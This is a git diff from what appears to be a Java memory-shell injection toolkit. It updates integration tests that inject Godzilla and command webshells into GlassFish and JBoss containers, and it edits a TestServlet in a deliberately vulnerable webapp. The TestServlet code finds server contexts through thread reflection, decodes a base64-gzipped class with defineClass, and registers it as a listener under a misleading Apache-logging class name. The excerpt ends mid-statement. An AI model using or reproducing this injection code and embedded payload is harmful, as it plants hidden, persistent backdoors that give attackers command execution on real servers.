.waitingFor(Wait.forLogMessage(".*startup time.*", 1)) .withExposedPorts(8080); static Stream casesProvider() { @@ -48,14 +49,17 @@ public class Glassfish501ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java similarity index 81% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish501ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index 735ee6f9..a97a77c5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.glassfish.GlassFishShell; import com.reajason.javaweb.memsell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -30,7 +31,7 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; */ @Slf4j @Testcontainers -public class Glassfish5ContainerTest { +public class GlassFish501ContainerTest { public static final String imageName = "reajason/glassfish:5.0.1"; @Container @@ -48,14 +49,17 @@ public class Glassfish5ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java similarity index 66% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish6ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index 1c895ca0..ab611a02 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.glassfish.GlassFishShell; import com.reajason.javaweb.memsell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -17,7 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -29,7 +31,7 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; */ @Slf4j @Testcontainers -public class Glassfish510ContainerTest { +public class GlassFish510ContainerTest { public static final String imageName = "reajason/glassfish:5.1.0"; @Container @@ -42,19 +44,28 @@ public class Glassfish510ContainerTest { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java new file mode 100644 index 00000000..c74ccad4 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -0,0 +1,70 @@ +package com.reajason.javaweb.integration.glassfish; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.glassfish.GlassFishShell; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class GlassFish6ContainerTest { + public static final String imageName = "reajason/glassfish:6.2.6-jdk11"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), +// arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] +// arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java similarity index 61% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish7ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java index 2bb16631..70d29b61 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.glassfish.GlassFishShell; import com.reajason.javaweb.memsell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -17,7 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -29,32 +31,29 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; */ @Slf4j @Testcontainers -public class Glassfish6ContainerTest { - public static final String imageName = "reajason/glassfish:6.2.6-jdk11"; +public class GlassFish7ContainerTest { + public static final String imageName = "reajason/glassfish:7.0.20-jdk17"; @Container public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*startup time.*", 1)) .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), +// arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] + arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish3ContainerTest.java deleted file mode 100644 index 516c130f..00000000 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish3ContainerTest.java +++ /dev/null @@ -1,7 +0,0 @@ -package com.reajason.javaweb.integration.glassfish; - -/** - * @author ReaJason - * @since 2024/12/12 - */public class Glassfish3ContainerTest { -} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index 0f4e2ce8..c5cc3674 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -55,7 +55,6 @@ public class Jboss610ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/vul-webapp-jakarta/src/main/java/jakarta/ErrorHandler.java b/vul-webapp-jakarta/src/main/java/jakarta/ErrorHandler.java index 2acb366b..5eeea975 100644 --- a/vul-webapp-jakarta/src/main/java/jakarta/ErrorHandler.java +++ b/vul-webapp-jakarta/src/main/java/jakarta/ErrorHandler.java @@ -1,3 +1,5 @@ +package jakarta; + import jakarta.servlet.*; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; diff --git a/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java b/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java index 3f7b4c87..6bd03f83 100644 --- a/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java +++ b/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java @@ -1,3 +1,5 @@ +package jakarta; + import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; diff --git a/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java b/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java index 1cf9008d..68ccefef 100644 --- a/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java +++ b/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java @@ -1,3 +1,5 @@ +package jakarta; + import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; @@ -123,60 +125,27 @@ public class TestServlet extends HttpServlet { } public String getClassName() { - return "com.google.gso.sLUOL.ErrorHandler"; + return "org.apache.logging.plrkK.ErrorHandler"; } - public String getBase64String() { - return "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"; + public String getBase64String() throws IOException { + return "H4sIAAAAAAAA/6VX+1Mb1xk9FwRXiMU2YMByEtv4BQjw5mE7DjgkMYaYVsiOSZgSp24WcRGLJa2yWuHXeJpJ0mnaZNImbdMkfbhpndK6j5g2IUnbafNTO9N/pJ3+Dy05dyWEhBFoptLsrvbe73G+8z129c///emvAB7ExyHUoFYiYKAO9QI75q0Fy0xa6YR5dnpexT2B+pN22vaGBGq7eyaDCAo0Xb+esVwrFbNS6saNBoTQKGEYaMI2gaG4kzJdZc1bWSdtanOX1bSZUqmsSibNRNLKZmft7JxJsZSVnjGH89eonfVUWrkCDUXbAi3RNTwTnmunE4Ma8A4DzWgRCCaUN6wtCrR295TI+osU3Yk2iXYDHdglsH3dPqOl/mkVT1qumhm1VXJGoL/7bpelll01myQtpi8+KLFbYM/absyZyMXn/L2RK3GV8WwnrVHca+A+DbiJDidyGeXGNYAQwtirid8n0LaR38kQ9uOAxEEDh3BYoKMCDhrOKu+JeFxls/Z0ksQFup/Na3cb6EGEyaNngcOlXvIJLouusBRCH/oljhgwcb9Apxa4YmaVu5BUnjmRv55XL+RU1htZUGlabtaRlW0I7CvkpJIq6XtQ4FC5yJznZcwzPJXLNuIBHDVwDMcFDPo6p4tEebpgDm+RsmLhhHDCwCMYEGhPaMPZjJPOqlHXSRUhP9UdrQrO4PrI7pbLW6fbk3hUYsjAY3icPK3hOp9Le7au8pBGs3rTVlbIhWXfyikDwzjN3KorKi7QtUXY51xH1wNVR/GkxBkDY/hSGYCChMA2AhhLZ3IezSgrxUJbBWE7ZsnGYCOiGJeIGTiLc2S+Og7YenRwNueVeDhUqTZKxYj9PCYknjbwDCbZ5BtgIh+8sAXqui+c6hkL4SuYknjWwAU8V6l0y6HUXXZtjyAlDYyN9UxKXFx15dNU7OQgnqeUm68AXU7TBuKYybe134iTVjJHSyc2aLPNk1UQCmKWU80t8CYxJ3Bwsw5am5qBYWdGEx210yqWS00r92nLnwQtUSduJSct19b3hcWAN2cz749H/79hPUhLC5Z7jK0e3XwIUrLWmZ4vn+iFoGkk7U/7utn8MAtXnLeU4eS8do1lfNe0Z1eXh3o1sxruzvXCJyNDlG+a8Kz4pXErUxALFeHqZ0Mhz6d5uM5VNVMcNJtOQg5thpp1ae5AFdIkpOBnjA9Z20ra17Sn7dn1HbT1XCrMG5buBkNAoNEu7Zm2Ddubo9Upa40KIZT1KMOdzrFsay6c4stCUqUTHstWjHE9nmIsrdmNnhddVc5Zie+UvZXke0fiVbpQxTjK+5SQQhNOzo2rUdtP/7qyPaJ1OIIcN2FaGSs+p8ykk0jQrplJupe+bI64ruOeoUZSuRI/8AfdJcv1rC3aUOKHQbzWgLfRyIzplG2mtVYvXdGqoDCuQ1XZZOKqEJP4qcB+fw5vJjuo3wJ+FsJNvE+k62Ur5E3iF424haMCz9xNw2bP1K0kC1Wun+O/DJHoRRJdrZbEr/Vjs2LAZWWtH3G/acRt/LYym6UKEr8P4UNMCUSqD2OThK7rsWq4ybOoWZlGJ881EHiHh9Bv5nzdr+MvvuXzbPOuw98HGiOfQERa3v0Y7y1Bf3r0Q42bWuhfqKUKcEKMR5axPdbfUvMB2vt7l9E6voimgUD/Mu6JLa78p+8fMP6M8FTvJ9jzt77AMjr7qNB1x3feina+6gZwlZaaEfgvpMR+iZ0xiXCDgXn/r4jBczvddkBiF5V2U+0ertzLu/v43YN9/B5kZP04QPmDuESNo4S3i0caDh0QKDJ4wQ/jBFxGzbmE48jC41XyHTKHBYZ0mfsG9/IrV7hyjSsBrnyVx3X8qMDRMR41PMSS/0MDrfdJ6/Wdt+c3kcSPfZcCN/ATn/Cvr5oQUzQb4t5Fcvbzz3FrvC/yEd77DB/UINb/d4xE+pbxq4HApxgklU8M1IXrljEyUB8OfIbfCQzI5n34S3AgGK4PB5fx1NTxhpqb2BGW4WBtW8My7iyu/HsRgdgSvQUxhecYQK3P8yMIrGAIDRJvS9yUuCXxhsRtiVGJ8xIfSnwXWCHLtUUJ4JSkvh/mcWYAbPwgGWol2x14iBk4ii5ycoS7D/M7RCdRDNDtEB0/StXHfFpmGfAeDOJFLDH4LmoP4yXm6AhpexmvkMKH+c/kG/gD+R9ijr+JV+nnDEvjW/g2GuhvFK8xd7WatiK5F/G6T24Qk3gefyT1NXoIFAr1fV51/jvFeG/L1z7FRy2Kp89xm2W6LdZbvOu745dEM/+UrTLFLK7wNs8DaboNQRpCPg27CZa0UOM0dZ6k2AjaCG8v4epQI3TaxnDfxFs+3M4i3E4fpPa1l4Qs8VpaYt/z6+n7XwDyJb6PiA8AAA=="; } - public void addListener(Object context, Object listener) throws Exception { - if (!this.isInjected(context, this.getClassName())) { - String filedName = "applicationEventListenersObjects"; - Object applicationEventListenersObjects = getFV(context, filedName); - if (applicationEventListenersObjects == null) { - filedName = "applicationEventListenersInstances"; - applicationEventListenersObjects = getFV(context, filedName); - } - if (applicationEventListenersObjects != null) { - Object[] appListeners = (Object[]) applicationEventListenersObjects; - if (appListeners != null) { - List appListenerList = new ArrayList(Arrays.asList(appListeners)); - appListenerList.add(listener); - setFieldValue(context, filedName, appListenerList.toArray()); - } - } else if (getFV(context, "applicationEventListenersList") != null) { - List appListeners = (List) getFV(context, "applicationEventListenersList"); - if (appListeners != null) { - appListeners.add(listener); - } - } - } - } - - public boolean isInjected(Object context, String evilClassName) throws Exception { - Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); - List listeners = Arrays.asList(objects); - - for (Object o : new ArrayList(listeners)) { - if (o.getClass().getName().contains(evilClassName)) { - return true; - } - } - - return false; - } public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + List contexts = new ArrayList(); + Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads"); + try { - for (Thread thread : threads) { + for(Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - for (Object key : childrenMap.keySet()) { - Map children = (Map) getFV(childrenMap.get(key), "children"); - for (Object key1 : children.keySet()) { + Map childrenMap = (Map)getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + + for(Object key : childrenMap.keySet()) { + Map children = (Map)getFV(childrenMap.get(key), "children"); + + for(Object key1 : children.keySet()) { Object context = children.get(key1); if (context != null) { contexts.add(context); @@ -185,87 +154,56 @@ public class TestServlet extends HttpServlet { } } } - } catch (Exception e) { - e.printStackTrace(); + } catch (Exception var14) { } + return contexts; } - private Object getFilter(Object context) { - Object filter = null; + private Object getListener(Object context) throws Exception { + Object listener = null; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); if (classLoader == null) { classLoader = context.getClass().getClassLoader(); } try { - filter = classLoader.loadClass(this.getClassName()); + listener = classLoader.loadClass(this.getClassName()).newInstance(); } catch (Exception var9) { try { byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable e1) { - e1.printStackTrace(); + Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Exception var8) { } } - return filter; + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + try { + List eventListeners = (List)getFV(context, "contextListeners"); + boolean isExist = false; + for(EventListener eventListener : eventListeners) { + if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + isExist = true; + break; + } + } + + if (!isExist) { + eventListeners.add((EventListener)listener); + } + } catch (Exception var7) { + } + } @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - try { - List context = getContext(); - for (Object o : context) { - Object filter = getFilter(o); - addFilter(o, filter); - } - } catch 